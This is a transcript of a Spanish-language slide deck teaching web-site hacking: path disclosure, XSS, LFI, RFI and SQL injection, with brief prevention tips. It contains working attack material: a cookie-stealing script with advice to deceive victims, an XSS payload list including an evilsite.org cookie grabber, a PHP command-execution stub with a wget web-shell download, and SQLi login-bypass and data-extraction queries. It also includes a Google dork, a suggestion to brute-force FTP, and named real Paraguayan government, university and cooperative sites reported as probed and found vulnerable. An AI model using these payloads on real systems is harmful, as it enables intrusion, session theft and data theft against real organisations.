La descarga está en progreso. Por favor, espere

La descarga está en progreso. Por favor, espere

Errores comunes al desarrollar websites

Presentaciones similares


Presentación del tema: "Errores comunes al desarrollar websites"— Transcripción de la presentación:

1 Errores comunes al desarrollar websites
Seguridad Web Errores comunes al desarrollar websites

2 ¿Aprenderemos a hackear sitios web?
Si, aprenderemos a hackear sitios web, no obstante.. Advertencia: Utilizaremos sitios webs “reales” para mostrar sus vulnerabilidades, sólo con fines educativos. No se va a defacear ningún sitio durante esta charla, simplemente testearlos y ver sus agujeros de seguridad.

3 Requisitos Temática de la charla
Antes de empezar Requisitos Temática de la charla

4 Pregunta ¿Ya han sido hackeados?

5 Tipos de vulnerabilidades
Full Path Disclosure - FPD Cross-site Scripting – XSS Local File Inclusion – LFI Remote File Inclusion – RFI SQL Injection - SQLi

6 Full Path Disclosure - FPD
Vulnerabilidad que permite al “atacante” ver el path absoluta donde se encuentra el sitio web. Ejemplo: /home/usuario_victima/public_html/ Peligrosidad baja, no obstante, combinado con otros tipos de vulnerabilidades como LFI o SQLi se vuelve interesante ¿Cómo conseguirlo? Manipulación de parámetros, ya sea $_GET, $_POST, Cookies Investigando en buscadores como Google ¿Qué podemos hacer con el path obtenido? Podemos identificar el posible usuario FTP, para intentar conseguir ingresar por FTP con método de fuerza bruta. Aplicación de fuerza bruta: Bruter Combinar con LFI o SQLi para lograr incluir efectivamente archivos o hacer dump de la base de datos

7 Full Path Disclosure - FPD
¿Cómo prevenirlo? Principalmente, deshabilitando que se muestren los errores php.ini: display_errors = "off" httpd.conf/apache2.conf: display_errors off php_flag Script PHP: ini_set ('display_errors', false); Además, controlando que estén seteadas las variables antes de utilizarlas, controlar que exista archivos antes de incluirlos, validación de variables. Con el primer paso ya basta, ya que no se mostrará nada, no obstante no está de más aplicar esto por recomendaciones de buena programación

8 Ejemplo- FPD Buscamos en Google warning inurl:gov.py filetype:php
En este caso buscamos warning en sitios del gobierno de paraguay, pero podemos utilizar otras variantes, como ser: Fatal error, Notice, undefined function, etc

9 Cross-site Scripting – XSS
Vulnerabilidad que permite al “atacante” inyectar código que será interpretado en el cliente, como ser JavaScript, VBScript, HTML, CSS. Podemos lograr: Hacer phishing Robo de cookies Deface via JS ¿Cómo podemos evitarlo? Controlando antes de mostrar algún dato dinámico, por ejemplo en PHP con el uso de la función htmlentities(), que remplaza los caracteres especiales por su equivalente de HTML

10 Robo de cookies En el sitio atacado:
Publicar el siguiente código: <script> window.open("http://localhost/sitio2/cookie.php?cookies="+document.cookie); </script> En nuestro sitio: Crear un archivo cookie.php en el cual: Obtenemos la variable $_GET[‘cookies’] La enviamos a nuestro Escribimos en un archivo de texto Insertamos en una base de datos Mostramos un mensaje al usuario para confundirlo, como ser: “En este momento la página se encuentra en mantenimiento. Favor intentar en 10 minutos” En nuestro sitio: Crear un archivo cookie.php en el cual: Obtenemos la variable $_GET[‘cookies’] La enviamos a nuestro e-mail. Escribimos en un archivo de texto. Insertamos en una base de datos. Mostramos un mensaje al usuario para confundirlo, como ser: En este momento la página se encuentra en mantenimiento. Favor intentar en 10 minutos", "width": "800" }

11 Ejemplos de Xss <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;URL=http://;URL=javascript:alert('XSS');\"> <META HTTP- EQUIV=\"refresh\"CONTENT=\"0;url=javascript:alert('XSS');\"> '">><marquee><h1>XSS</h1></marquee> '">><script>alert('XSS')</script> '>><marquee><h1>XSS</h1></marquee> "><script alert(String.fromCharCode(88,83,83))</script> <iframe<?php echo chr(11)?> onload=alert('XSS')></iframe> <div style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromC harCode(88,83,83));'))"> window.alert("Xyli !"); "/></a></><img src=1.gif onerror=alert(1)> [color=red' onmouseover="alert('xss')"]mouse over[/color] <body onLoad="alert('XSS');" <body onunload="javascript:alert('XSS');"> [url=javascript:alert('XSS');]click me[/url] <script language="JavaScript">alert('XSS')</script> <img src="javascript:alert('XSS')"> '); alert('XSS <font style='color:expression(alert(document.cookie))'> <IMG DYNSRC=\"javascript:alert('XSS')\"> <IMG LOWSRC=\"javascript:alert('XSS')\"> </textarea><script>alert(/xss/)</script> </title><script>alert(/xss/)</script> <script src=http://yoursite.com/your_files.js></script> "><script>alert(0)</script> <IMG src=javascript:alert(String.fromCharCode(88,83,83))> <marquee><script>alert('XSS')</script></marquee> <img src=foo.png onerror=alert(/xssed/) /> <script>alert(String.fromCharCode(88,83,83))</script> <script src="http://www.evilsite.org/cookiegrabber.php"></script> >>

XSS

> ); alert( XSS > ", "width": "800" }

12 Local File Inclusion – LFI
Vulnerabilidad que permite al “atacante” mediante la manipulación de parámetros $_GET, $_POST incluir archivos ya existentes en el servidor, los cuales no son propios de la app. <?PHP include $_GET[‘pagina’]; // Se puede aplicar LFI ?> Podemos lograr: Ver archivos del sistema, como /etc/passwd, /etc/group Inclusión de archivos con código malicioso previamente insertado Forzar archivos de la app, si posee un sistema de descarga con bug LFI ¿Cómo podemos evitarlo? Se lo puede evitar seleccionando qué archivos específicamente pueden ser mostrados, de tal manera que si el archivo solicitado no está en la lista, no se podrá acceder a él.

13 SITIOS A TESTEAR LFI Mostrando archivos del sistema
Senado - SIL - Sistema de Información Legislativa Indert - Instituto Nacional de Desarrollo Rural y de la Tierra CeConsult - Centro de Consultores Cooperativa Coofy LTDA * Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

14 SITIOS A TESTEAR LFI Bajando archivos de la APP
Cooperativa San Cristobal: CNCSP - Cámara Nacional de Comercio y Servicios de Paraguay TSJE – Tribunal Superior de Justicia Electoral * Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

15 Remote File Inclusion – RFI
Es una vulnerabilidad que sólo se da en PHP, consiste en la inclusión de archivos remotos (que se encuentran en otros servidores) mediante “include”. No se da en ASP. Para que funcione debe estar habilitado url_allow_include ¿Qué podemos lograr? Inclusión de archivos remotos para ejecución de codigo malicioso ¿Cómo lograrlo? En el archivo cmd.txt tenemos el código <?php exec($_GET[‘cmd’]);?> Se puede utiilizar exec(), shell_exec(), system(), passthru() Lo cual nos permitirá la ejecución de comandos, como por ejemplo descargar un phpshell <?php passthru('wget -O shell.php');?>

16 SQL Injection - SQLi Vulnerabilidad en la cual el atacante inserta código SQL para obtención de datos de la DB Ingresar al administrador: Colocamos: Usuario: ’ or 1 = 1 -- (siempre se cumplira) Password: Debería ingresar al administrador si posee SQLi ya que la condición insertada siempre se cumplirá y el resto está comentado Select * from usuario where usuario = ‘’ or 1 = 1 – ‘and pass = ‘’

17 SQL Injection - SQLi Si el login no tiene vulnerabilidad SQLi tenemos otras opciones Pasos: Identificar agujero, ejemplo ingresando: 1 and 1 = 1 -- (true) ó ‘ and 1 = 1 -- 1 and 1 = 0 -- (false) ó ‘ and 1 = 0 – El comportamiento de la injección and 1 = 1-- y and 1 = 0 -- debería mostrar un comportamiento distinto respecto a lo que se muestra en la página, ya que lo primero siempre se cumple, y lo segundo nunca se cumple. Donde dice – se puede usar también #, es para comentar todo lo que pueda haber luego. Ejemplo: Select id, titulo, contenido from articulos where id = 1 and estado = 1 Select id, titulo, contenido from articulos where id = 1 and 1 = 1 – and estado = 1

18 Pasos para obtener datos - sqli
Obtener la cantidad de columnas que afecta el query donde queremos injectar código SQL Obtener tablas Obtener columnas de tablas Obtener datos deseados Crear archivo con código malicioso para luego subir PHPShell (* Opcional )

19 obtener cantidad de columnas- sqli
select id, titulo, contenido from articulos where id =1 and estado = 1 Insertamos SQL select id, titulo, contenido from articulos where id =1 union select 1 -- and estado = 1 Vamos agregando datos al select hasta que deje de dar error, o no muestre en blanco, o hasta que muestre el contenido como si no hubiésemos hecho la inyección select id, titulo, contenido from articulos where id =1 union select 1,2 -- and estado = 1 select id, titulo, contenido from articulos where id =1 union select 1,2,3 -- and estado = 1 En este último caso igualamos la cantidad de columnas, lo cual ya no debería darnos error SQL y deberíamos ver el contenido normal, entonces en este punto necesimamos que solo se muestre nuestro query y no lo primero, para esto debemos aplicar and 1 = 0 select id, titulo, contenido from articulos where id =1 and 1 = 0 union select 1,2,3 -- and estado = 1 Veremos entonces en la página algunos de los datos 1, 2 o 3

20 Obteniendo Información de la db
select user(),database(),version(),connection_id() Ejemplo en la URL union select concat(user(), 0x3a, database(), 0x3a, version(), connection_id(), 0x3a),2,3,4--

21 Obteniendo tablas select table_name from information_schema.tables limit 10,1 Remplazar el 10 por el offset deseado, debemos poner 1,1; luego 1,2; luego 1,3 hasta encontrar una tabla que nos interese, por ejemplo “usuarios” en 50,1 Ejemplo en la URL and 1= 0 union select table_name,2,3,4 from information_schema.tables limit 50,1-- Otra opción. Agrupando las tablas. select group_concat(table_name) from information_schema.tables Esquema específico select table_name from information_schema.tables where table_schema = ‘nombre_db‘ Listar tablas exceptuando las de MySQL SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

22 Obteniendo columnas select column_name from information_schema.columns where table_name = ‘usuarios’ and table_column like ‘A’ Si se escapa la comilla ‘, la variante es pasar el string a ASCII: select column_name from information_schema.columns where table_name=char(117,115,101,114,115) También podemos agregar filtro de columna Ejemplo en la URL and 1= 0 union select column_name,2,3,4,5,6 from information_schema.columns where table_name=char(117,115,101,114,115)-- Otra opción select group_concat(table_name) from information_schema.tables

23 SITIOS A TESTEAR SQL INJECTION
OBTENIENDO USUARIO Y BASE DE DATOS DE LA APP– Envío por GET ANR – Asociación Nacional Republicana UNIDA - Universidad de la Integración de las Américas Universidad Católica Nuestra Señora de la Asunción: Cooperativa COOMECIPAR SIF AMERICA S.A. * Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

24 SITIOS A TESTEAR SQL INJECTION
OBTENIENDO USUARIO Y BASE DE DATOS DE LA APP – Envío por POST SENADO * Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

25 ¿Preguntas?

26 Conclusión Sitios a los que encontramos agujeros de seguridad efectivamente: Sitios del Gobiernos Universidades Privadas Cooperativas Otras instituciones

27 Contacto Fernando Goetz Twitter http://twitter.com/fernandogoetz
* Las consultas son bienvenidas.


Descargar ppt "Errores comunes al desarrollar websites"

Presentaciones similares


Anuncios Google